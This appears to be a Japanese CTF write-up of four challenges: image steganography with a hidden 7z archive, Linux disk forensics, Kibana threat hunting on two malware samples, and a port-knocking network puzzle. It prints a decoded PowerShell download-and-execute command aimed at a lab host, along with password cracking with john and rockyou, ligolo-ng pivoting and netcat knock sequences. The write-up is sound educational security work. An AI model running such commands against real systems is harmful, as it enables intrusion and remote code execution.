チームで参加してた。上位10チームがルーマニアでの決勝に行ける。上位30チームはwriteupの提出が必須。ということは7チーム提出しなければルーマニアに行ける。さすがにそれはないだろう。残念。

自分は4問解いた。EasyとMediumしか解けてないのが悔しい。
[Forensics][Easy] east-granma (148 solves, 50 pt)
Investigate the wants of the most expensive club on the east coast.
Q1. What is the flag? (Points: 50)
与えられたファイルはこんな画像。

CTFで画像が与えられたらステガノを疑うということで、Aperi’Solveに突っ込む。画像部分のデータには特に何もなく、Exiftoolの出力もおかしなところは無かったが、Binwalkで7-zipデータがあるとわかる。

実際に binwalk
を実行すると確かに何かある。
$ binwalk camashadefortza.jpg
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
0 0x0 JPEG image data, JFIF standard 1.01
206006 0x324B6 7-zip archive data, version 0.4
切り出して展開しようとしたところ、パスワードを求められる。
$ dd if=camashadefortza.jpg of=data.7z bs=1 skip=206006
327042+0 records in
327042+0 records out
327042 bytes (327 kB, 319 KiB) copied, 0.769518 s, 425 kB/s
$ 7z x data.7z
7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
p7zip Version 16.02 (locale=C.UTF-8,Utf16=on,HugeFiles=on,64 bits,12 CPUs Intel(R) Core(TM) i7-8700K CPU @ 3.70GHz (906EA),ASM,AES-NI)
Scanning the drive for archives:
1 file, 327042 bytes (320 KiB)
Extracting archive: data.7z
Enter password (will not be echoed):
rockyouを使ってブルートフォースしてみると、パスワードクラックに成功した。
$ 7z2john data.7z > data_7z_hash.txt
$ john --wordlist=/usr/share/wordlists/rockyou.txt data_7z_hash.txt
Using default input encoding: UTF-8
Loaded 1 password hash (7z, 7-Zip archive encryption [SHA256 128/128 AVX 4x AES])
Cost 1 (iteration count) is 524288 for all loaded hashes
Cost 2 (padding size) is 14 for all loaded hashes
Cost 3 (compression type) is 0 for all loaded hashes
Cost 4 (data length) is 130 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
passwordpassword (data.7z)
1g 0:00:13:50 DONE (2025-09-12 08:05) 0.001204g/s 61.06p/s 61.06c/s 61.06C/s patitos..optimusprime
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
7zファイルを展開すると beaches.001
が出てきた。
$ 7z x data.7z
7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
p7zip Version 16.02 (locale=C.UTF-8,Utf16=on,HugeFiles=on,64 bits,12 CPUs Intel(R) Core(TM) i7-8700K CPU @ 3.70GHz (906EA),ASM,AES-NI)
Scanning the drive for archives:
1 file, 327042 bytes (320 KiB)
Extracting archive: data.7z
Enter password (will not be echoed):
--
Path = data.7z
Type = 7z
Physical Size = 327042
Headers Size = 226
Method = LZMA2:12m 7zAES
Solid = -
Blocks = 1
Everything is Ok
Size: 10485760
Compressed: 327042
$ ls
beaches.001 camashadefortza.jpg data.7z
ファイルタイプを確認すると、DOSのブートセクタと出てきた。
$ file beaches.001
beaches.001: DOS/MBR boot sector, code offset 0x52+2, OEM-ID "NTFS ", sectors/cluster 8, Media descriptor 0xf8, sectors/track 63, heads 255, hidden sectors 2048, dos < 4.0 BootSector (0), FAT (1Y bit by descriptor); NTFS, sectors/track 63, physical drive 0x80, sectors 20479, $MFT start cluster 853, $MFTMirror start cluster 2, bytes/RecordSegment 2^(-1*246), clusters/index block 1, serial number 014844777844759fe; contains bootstrap BOOTMGR
こちらのファイルにも何か隠されてるかもと思い binwalk
をしてみると、大量に出てきた。
$ binwalk beaches.001
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
9998336 0x989000 JPEG image data, JFIF standard 1.01
10010624 0x98C000 JPEG image data, JFIF standard 1.01
10022912 0x98F000 ELF, 32-bit LSB relocatable, Intel 80386, version 1 (SYSV)
10027008 0x990000 ELF, 32-bit LSB relocatable, Intel 80386, version 1 (SYSV)
10031104 0x991000 ELF, 32-bit LSB relocatable, Intel 80386, version 1 (SYSV)
10035200 0x992000 ELF, 32-bit LSB relocatable, Intel 80386, version 1 (SYSV)
10039296 0x993000 ELF, 32-bit LSB relocatable, Intel 80386, version 1 (SYSV)
10043392 0x994000 ELF, 32-bit LSB relocatable, Intel 80386, version 1 (SYSV)
10047488 0x995000 ELF, 32-bit LSB relocatable, Intel 80386, version 1 (SYSV)
10051584 0x996000 ELF, 32-bit LSB relocatable, Intel 80386, version 1 (SYSV)
10057007 0x99752F mcrypt 2.2 encrypted data, algorithm: blowfish-448, mode: CBC, keymode: 4bit
10067968 0x99A000 ELF, 32-bit LSB relocatable, Intel 80386, version 1 (SYSV)
10072064 0x99B000 ELF, 32-bit LSB relocatable, Intel 80386, version 1 (SYSV)
10104832 0x9A3000 ELF, 32-bit LSB relocatable, Intel 80386, version 1 (SYSV)
10106547 0x9A36B3 mcrypt 2.2 encrypted data, algorithm: blowfish-448, mode: CBC, keymode: 4bit
10108928 0x9A4000 ELF, 32-bit LSB relocatable, Intel 80386, version 1 (SYSV)
10113024 0x9A5000 ELF, 32-bit LSB relocatable, Intel 80386, version 1 (SYSV)
10129408 0x9A9000 ELF, 32-bit LSB relocatable, Intel 80386, version 1 (SYSV)
10145792 0x9AD000 ELF, 32-bit LSB relocatable, Intel 80386, version 1 (SYSV)
10153984 0x9AF000 ELF, 32-bit LSB relocatable, Intel 80386, version 1 (SYSV)
10169075 0x9B2AF3 bix header, header size: 64 bytes, header CRC: 0xFB655, created: 2092-06-12 05:57:38, image size: 1382593543 bytes, Data Address: 0x68E3, Entry Point: 0x7000068, data CRC: 0xFF000000, image type: Filesystem Image, compression type: none, image name: ""
10215424 0x9BE000 ELF, 32-bit LSB relocatable, Intel 80386, version 1 (SYSV)
10219520 0x9BF000 ELF, 32-bit LSB relocatable, Intel 80386, version 1 (SYSV)
10342400 0x9DD000 ELF, 32-bit LSB relocatable, Intel 80386, version 1 (SYSV)
10354688 0x9E0000 ELF, 32-bit LSB relocatable, Intel 80386, version 1 (SYSV)
10362880 0x9E2000 ELF, 32-bit LSB relocatable, Intel 80386, version 1 (SYSV)
10366976 0x9E3000 ELF, 32-bit LSB relocatable, Intel 80386, version 1 (SYSV)
10371072 0x9E4000 ELF, 32-bit LSB relocatable, Intel 80386, version 1 (SYSV)
10383360 0x9E7000 ELF, 32-bit LSB relocatable, Intel 80386, version 1 (SYSV)
10387456 0x9E8000 ELF, 32-bit LSB relocatable, Intel 80386, version 1 (SYSV)
10391552 0x9E9000 ELF, 32-bit LSB relocatable, Intel 80386, version 1 (SYSV)
10395648 0x9EA000 ELF, 32-bit LSB relocatable, Intel 80386, version 1 (SYSV)
10399744 0x9EB000 ELF, 32-bit LSB relocatable, Intel 80386, version 1 (SYSV)
10403840 0x9EC000 ELF, 32-bit LSB relocatable, Intel 80386, version 1 (SYSV)
10407936 0x9ED000 ELF, 32-bit LSB relocatable, Intel 80386, version 1 (SYSV)
10412032 0x9EE000 ELF, 32-bit LSB relocatable, Intel 80386, version 1 (SYSV)
10416128 0x9EF000 Ubiquiti partition header, header size: 56 bytes, name: "PART_P~1MOD ", base address: 0x4D4F4420, data size: -128255910 bytes
10420224 0x9F0000 ELF, 32-bit LSB relocatable, Intel 80386, version 1 (SYSV)
10424320 0x9F1000 ELF, 32-bit LSB relocatable, Intel 80386, version 1 (SYSV)
10436608 0x9F4000 ELF, 32-bit LSB relocatable, Intel 80386, version 1 (SYSV)
10444800 0x9F6000 ELF, 32-bit LSB relocatable, Intel 80386, version 1 (SYSV)
10448896 0x9F7000 ELF, 32-bit LSB relocatable, Intel 80386, version 1 (SYSV)
10452992 0x9F8000 ELF, 32-bit LSB relocatable, Intel 80386, version 1 (SYSV)
10461184 0x9FA000 ELF, 32-bit LSB relocatable, Intel 80386, version 1 (SYSV)
10465280 0x9FB000 ELF, 32-bit LSB relocatable, Intel 80386, version 1 (SYSV)
10469376 0x9FC000 ELF, 32-bit LSB relocatable, Intel 80386, version 1 (SYSV)
10473472 0x9FD000 ELF, 32-bit LSB relocatable, Intel 80386, version 1 (SYSV)
試しに上2つの画像を切り出してみると以下の通りで、隠されたデータなどは見つからず。
結論から言うと binwalk
で見えてくるものは全てrabbit hole。これが問題のクオリティを下げている。
beaches.001
をFTK Imagerで見てみると、フォルダで整理された大量のテキストファイルが見つかるが、一つだけ削除されたファイルがある。中にはフラグの情報が書かれていた。

$ echo -n ctf{; echo -n vamonos | sha256sum | cut -d ' ' -f 1 | tr -d '\n'; echo }
ctf{44ad656b71865ac4ad2e485cfbce17423e0aa0bcd9bcdf2d98a1cb1048cf4f0e}
Flag: ctf{44ad656b71865ac4ad2e485cfbce17423e0aa0bcd9bcdf2d98a1cb1048cf4f0e}
beaches.001
内のディレクトリ構造は、/エリア/店名/*.txt
となっていたようで、preturi.txt
に商品の価格が書かれていた。問題文の “the most expensive club on the east coast” というのがヒントになっていたのかもしれないが、フォルダ名やテキストの中身がルーマニア語で書かれていたのでわからん。
難易度Easyだったが、rabbit holeを用意している時点でEasyと言ってはいけないし質も低いと感じた。
[Forensics][Medium] forensalyze-this (144 solves, 49 pt)
Here’s some data… now it’s up to you to forensalyze this. Hidden deep inside these files are traces of activity, fragments of evidence, and digital fingerprints waiting to be uncovered.
与えられたデータはファイルシステムのイメージファイル。Ubuntuがインストールされていた模様。
Q1. What command is base64 encoded in the payload file? (Points: 7)
/home/user/.cache/.hidden/payload.b64
にBase64エンコードされたコマンドが見つかるので、これをデコードすればOK

Flag: IEX ((new-object net.webclient).downloadstring('http://10.10.10.10:80/exfil'))
Q2. What is the SHA256 hash of the file being executed every 5 minutes via cron? (Points: 7)
/var/spool/cron/crontabs/root
に5分おきに実行されるファイルが書かれているのでそのファイルを抽出してハッシュを取ってやればOK

Flag: 2e8eda459ca839d24b6c759e23f1fd8108da203a735077c3c85e4438318e174c
Q3. One of the image files contains embedded credentials. What is the password? (Points: 7)
/home/user/Documents/vacation_photo.jpg
が実際は画像ファイルではなくテキストファイルで、中にパスワードが書かれていた。

Flag: Secret123!
Q4. What is the name of the directory containing the Git repository? (Points: 7)
.git
フォルダが /home/user/Work/
にある。

Flag: Work
Q5. What is the department of Charlie Lee? (Points: 7)
/home/user/Documents/hr_records.csv
に書かれていた。

Flag: Engineering
Q6. What is the user ID and group ID of the work user? (Points: 7)
このファイルシステムには /etc
が無いため /etc/passwd
などが存在しないが、/var/backups
以下にバックアップされたファイルが残っていたので、/var/backups/passwd.bak
から work
ユーザのUIDとGIDを確認できた。

Flag: 1000:1000
Q7. When did the first execution of the cron.daily job end? (Points: 7)
マウントして /var/log
内で cron.daily
で grep
すると情報が得られた。
$ grep -RI cron.daily *
syslog:Aug 28 12:12:35 work anacron[706]: Job `cron.daily' terminated
syslog.1:Aug 28 12:07:25 work anacron[706]: Will run job `cron.daily' in 5 min.
syslog.1:Aug 28 12:12:26 work anacron[706]: Job `cron.daily' started
syslog.1:Aug 28 12:12:26 work anacron[2084]: Updated timestamp for job `cron.daily' to 2025-08-28
Flag: 12:12:35
ファイルシステムを探検してるだけでだいたい解けるのでこっちの問題の方がEasyじゃないかな…
[Threat hunting][Medium] grandbazaar (38 solves, 192 pt)
Can you identify the threats in the Grand Bazaar of activities?
与えられたデータはDockerコンテナの情報とそのデータ。展開して docker compose up -d
するとElasticsearchとKibanaが立ち上がり、それを使って分析する問題。Kibanaのポートやログインのためのuser/passは docker-compose.yml
を見るとわかる。
Q1. How many alerts there exists in total in the elastic data? (Points: 7)
左のメニューから Securtiy → Alerts に行くとアラート数がわかる。なお、イベントは全て2025-08-29に発生しているためそこを含めた期間にすると全イベントを網羅できる。
Flag: 23
Q2. What are the hashes of the threats? (Points: 19)
アラートになっているプロセスの親プロセスを辿っていくと、デスクトップにある2つのファイルを起点として怪しい活動が行われていることがわかる。


これらのファイルのハッシュ値を調査すればよい(実際はファイル名がSHA256ハッシュ値だったがそれが正しいとも限らないのでちゃんと調べる)
Flag: DCTF{a31e56a60d7c9b547b1e7dfe402d7fb02789dcd117eadf59593e5401460843d4:a2254802dd387d0e0ceb61e2849a44b51879f625b89879e29592c80da9d479a2}
Q3. What is the SHA3-384 hash of the second threat? (Points: 24)
ElasticsearchにあるログにはSHA3-384のデータは記録されていないが、SHA256のハッシュ値は分かるのでそれをキーに外部データを調査する。すると、MalwareBazaarに情報があった。

Flag: DCTF{4f9c609d2f44b18b359d2e52061889302da0dca8e3d244a3e4759b5e78463a9e9fc9046d4acd3e0c7a866f0a01beff3b}
Q4. What programming language did the first malware used? (Points: 18)
この情報もElasticsearchにはないので外部情報を調査する。MalwareBazaarのページにある “Vendor Threat Intelligence” から他のサイトでの調査結果を確認できる。
CAPEの情報を確認すると、”Detect It Easy” の項目に “Packer: PyInstaller(modified)” とあり、このプログラムがPythonで書かれPyInstallerでexe化されたものとわかる。
Flag: DCTF{Python}
別解として、Filescan.ioの情報を見るとファイルアイコンがあり、PyInstallerのアイコンであるのでPythonで書かれたとわかる。
Q5. What domain did the first malware tried to contact? (Points: 20)
VirusTotalの情報にある “BEHAVIOR” からCAPE SandboxのNetwork Communicationの情報を見ると、”discord.com” にアクセスしていることがわかる。なお、CAPEではネットワークの情報は無し。

Flag: DCTF{discord.com}
Q6. How many selecting options did the first malware GUI had? (Points: 21)
どのベンダの情報でもいいが、スクリーンショットを見ると選択肢が2つあることがわかる。以下はHybrid Analysisより。

Flag: 2
Q7. What MITRE Technique did the second malware with the “legitimate” process used? (Points: 21)
久々にKibanaに戻る。2つめのマルウェア(a22548~)は svchost.exe
を子プロセスとして実行しているが、このファイルのパスは C:\Users\malware\AppData\Roaming
であり、Windowsの正規の svchost.exe
ではない。このように、このマルウェアは正規のプロセスに偽装している。これに対応するMITRE ATT&CKのTechniqueはMasqueradingであり、Technique IDは T1036
である。

Flag: DCTF{T1036}
Q8. How many child processes did the svchost had? (Points: 15)
親プロセスが C:\Users\malware\AppData\Roaming\svchost.exe
であるプロセスの数を調べればよい。

Flag: 3
Q9. What is the name of the file that is created on desktop after second malware (Points: 21)
Kibanaでデスクトップ上に対する FileCreate
イベントを調査して java-attacher.jar
が出てくるがこれは不正解だった。

問題文が “What is the name of the file that is created ~” と現在形になっていることから、Elasticsearchのログから調べるのではなくて公開情報から探すものと推測して調査。ANY.RUNの svchost.exe
の詳細情報からデスクトップに GOATEDSIGMA
というファイルを作成していることがわかる。

Flag: DCTF{GOATEDSIGMA}
Q10. What is the discord username of the hacker in the second malware behavior? (Points: 26)
同じくANY.RUNのスクリーンショットからDiscordのユーザ名がわかる。

Flag: DCTF{realba3t}
[Network][Easy] hidden-cipher (24 solves, 380 pt)
How good is your understanding of networks? In this challenge, you’ll explore the basics of how computers talk to each other. Look at the traffic, identify what’s happening, and piece together the hidden information. Use the following: ssh root@target -p port 5d6287sgagGD18G7Ubhq2
難易度詐欺。とはいえHighではなくMediumくらいだと思う。SSHで接続できるインスタンスが与えられる。IP/Portはインスタンス起動ごとに変わる。以下ではIPやポート、ホスト名が変わることがあるがそれはインスタンスが異なるため。問題文の最後の謎の文字列はパスワード。
Q1. What is the flag? (Points: 380)
SSH接続した先はUbuntuのDockerコンテナとなっており、主要なコマンドが何一つない。
$ ssh root@35.198.141.47 -p 31246
root@35.198.141.47's password:
Permission denied, please try again.
root@35.198.141.47's password:
Welcome to Ubuntu 24.04.1 LTS (GNU/Linux 6.6.97+ x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro
This system has been minimized by removing packages and content that are
not required on a system that users do not log into.
To restore this content, you can run the 'unminimize' command.
Last login: Sat Sep 13 21:35:33 2025 from 217.178.17.119
root@c-d355-c9639t-l3408-hidden-chiper-84f7d6c75d-x9952:~#
ls
するとファイルが1つだけあることがわかる。
root@c-d355-c9639t-l3408-hidden-chiper-84f7d6c75d-x9952:~# ls
capture.pcap
まずはこれを scp
で取得して解析。WiresharkのConversationsを見てみると、いくつかのホストと通信していることがわかる。グローバルIPはUbuntuのアップデート通信なので無視してよい。
まずローカルでの通信を見るとDNS通信で、”hidden-cipher-target” が “172.18.0.3” であることがわかる。

“hidden-cipher-target” ということなのでここに対する通信を詳しく見ていく。

以下の通信が行われていた。
- 4321/udp に
hi
を送信。応答は無し。 - 1234/tcp に接続。即切断。
- 5432/udp に
hi
を送信。応答は無し。 - 2345/tcp に接続。即切断。
- 9999/tcp に接続。即切断。
TCPオプションなどで変なデータが埋め込まれていたりしないかと見てみたがそういうものは無し。
pcapファイルの調査から他のコンピュータに対しての通信を発生させなければならない可能性があるが、ほとんどのコマンドが使えないためligolo-ngでPivotingすることにした。PivotingについてはOffensive Security Articles Vol.3で書いたので気になる人は見てほしい。
エージェントは scp
で送り込んで実行。サーバ側はNATの中なのでngrokを使ってインターネットからアクセス可能にした。

eth0
の情報を見ると /32
となっており、ネットワーク内に他にホストが無いことがわかる。
SSHホストのみで何かをしなければならないため、今度はホスト内を調査。コマンドは使えないがLinuxなので /proc/net
を見れば何かわかるだろうと探索。
root@c-d355-c9639t-l3408-hidden-chiper-84f7d6c75d-kcmnj:/proc/net# cat tcp
sl local_address rem_address st tx_queue rx_queue tr tm->when retrnsmt uid timeout inode
0: 00000000:0929 00000000:0000 0A 00000000:00000000 00:00000000 00000000 0 0 635718 1 0000000000000000 100 0 0 10 0
1: 00000000:0016 00000000:0000 0A 00000000:00000000 00:00000000 00000000 0 0 637714 1 0000000000000000 100 0 0 10 0
2: 00000000:270F 00000000:0000 0A 00000000:00000000 00:00000000 00000000 0 0 636680 1 0000000000000000 100 0 0 10 0
3: 00000000:04D2 00000000:0000 0A 00000000:00000000 00:00000000 00000000 0 0 635715 1 0000000000000000 100 0 0 10 0
4: 3701240A:0016 7711B2D9:A030 01 000001DC:00000000 01:0000002C 00000000 0 0 830554 4 0000000000000000 44 4 29 7 7
5: 3701240A:B946 EEB9B439:2DBA 01 00000000:00000000 02:0000024D 00000000 0 0 813335 2 0000000000000000 44 4 31 10 -1
6: 3701240A:0016 7711B2D9:4C25 01 00000000:00000000 02:00004562 00000000 0 0 804951 2 0000000000000000 45 4 30 10 -1
7: 3701240A:0016 C60CDA7E:D18D 01 00000000:00000000 02:00000000 00000000 0 0 780464 2 0000000000000000 45 4 1 10 16
root@c-d355-c9639t-l3408-hidden-chiper-84f7d6c75d-kcmnj:/proc/net# cat udp
sl local_address rem_address st tx_queue rx_queue tr tm->when retrnsmt uid timeout inode ref pointer drops
3006: 00000000:10E1 00000000:0000 07 00000000:00000000 00:00000000 00000000 0 0 635714 2 0000000000000000 0
4117: 00000000:1538 00000000:0000 07 00000000:00000000 00:00000000 00000000 0 0 635717 2 0000000000000000 0
TCPとUDPのテーブルを見ると、TCPでは22, 1234, 2345, 9999番ポートで待ち受けており、UDPでは4321, 5432番ポートで待ち受けていることがわかる。22番を除くと capture.pcap
で確認した hidden-cipher-target
に対する通信の宛先ポートと一致している。
それぞれ通信を試みてみるも、UDPに対する応答は無く、TCP接続は確立後即切断されてしまう。
ここで、knockd
という言葉が浮かび、capture.pcap
にある通りの順番で通信してみることにした。
┌──(kali㉿kali)-[~]
└─$ echo -n hi | nc -u -w 2 10.36.1.55 4321; nc 10.36.1.55 1234; echo -n hi | nc -u -w 2 10.36.1.55 5432; nc 10.36.1.55 2345; nc 10.36.1.55 9999
TCPのテーブルを再度確認してみると、新たに4000番ポートが開いていた。
root@c-d355-c9639t-l3408-hidden-chiper-84f7d6c75d-kcmnj:/proc/net# cat tcp
sl local_address rem_address st tx_queue rx_queue tr tm->when retrnsmt uid timeout inode
0: 00000000:0929 00000000:0000 0A 00000000:00000000 00:00000000 00000000 0 0 635718 1 0000000000000000 100 0 0 10 0
1: 00000000:0FA0 00000000:0000 0A 00000000:00000000 00:00000000 00000000 0 0 972471 1 0000000000000000 100 0 0 10 0
2: 00000000:0016 00000000:0000 0A 00000000:00000000 00:00000000 00000000 0 0 637714 1 0000000000000000 100 0 0 10 0
3: 00000000:270F 00000000:0000 0A 00000000:00000000 00:00000000 00000000 0 0 636680 1 0000000000000000 100 0 0 10 0
4: 00000000:04D2 00000000:0000 0A 00000000:00000000 00:00000000 00000000 0 0 635715 1 0000000000000000 100 0 0 10 0
5: 3701240A:270F 3701240A:9208 06 00000000:00000000 03:000011D4 00000000 0 0 0 3 0000000000000000
6: 3701240A:0016 7711B2D9:A030 01 00000034:00000000 01:0000002C 00000000 0 0 830554 4 0000000000000000 44 4 31 7 7
7: 3701240A:0929 3701240A:ADC8 06 00000000:00000000 03:000011B4 00000000 0 0 0 3 0000000000000000
8: 3701240A:0016 86D441CF:DC90 01 00000000:00000000 02:00000E31 00000000 0 0 873760 2 0000000000000000 44 4 31 10 -1
9: 3701240A:B946 EEB9B439:2DBA 01 00000000:00000000 02:00000060 00000000 0 0 813335 2 0000000000000000 43 4 26 12 -1
10: 3701240A:04D2 3701240A:868C 06 00000000:00000000 03:00001000 00000000 0 0 0 3 0000000000000000
11: 3701240A:0016 7711B2D9:4C25 01 00000000:00000000 02:000004C6 00000000 0 3 804951 2 0000000000000000 45 4 30 10 -1
12: 3701240A:0016 C60CDA7E:D18D 01 00000000:00000000 02:00000323 00000000 0 0 780464 2 0000000000000000 45 4 1 53 33
4000番ポートにアクセスしてみるとHTTPサーバが動いているようだったので curl
でアクセスしてみたところフラグを獲得。
┌──(kali㉿kali)-[~]
└─$ nc 10.36.1.55 4000
hi
<!DOCTYPE HTML>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Error response</title>
</head>
<body>
<h1>Error response</h1>
<p>Error code: 400</p>
<p>Message: Bad request syntax ('hi').</p>
<p>Error code explanation: 400 - Bad request syntax or unsupported method.</p>
</body>
</html>
┌──(kali㉿kali)-[~]
└─$ curl 10.36.1.55 4000
curl: (7) Failed to connect to 10.36.1.55 port 80 after 306 ms: Could not connect to server
^C
┌──(kali㉿kali)-[~]
└─$ curl 10.36.1.55:4000
ctf{3f476bbefba34d117a3f11275797d5249ae0cf9dfbd4b51047cc54423883e92e}
Flag: ctf{3f476bbefba34d117a3f11275797d5249ae0cf9dfbd4b51047cc54423883e92e}
Dockerコンテナでなければもう少し難易度は低かったのかと思う。今は確認できないが、もしかしたら /dev/tcp/{IP}/{Port}
へのリダイレクトで何とか出来たのかもしれない。
おわりに
点数から考えると、高1問、中1問、低2問といったところでそれなりに貢献できてよかった。ルーマニア行けるといいな。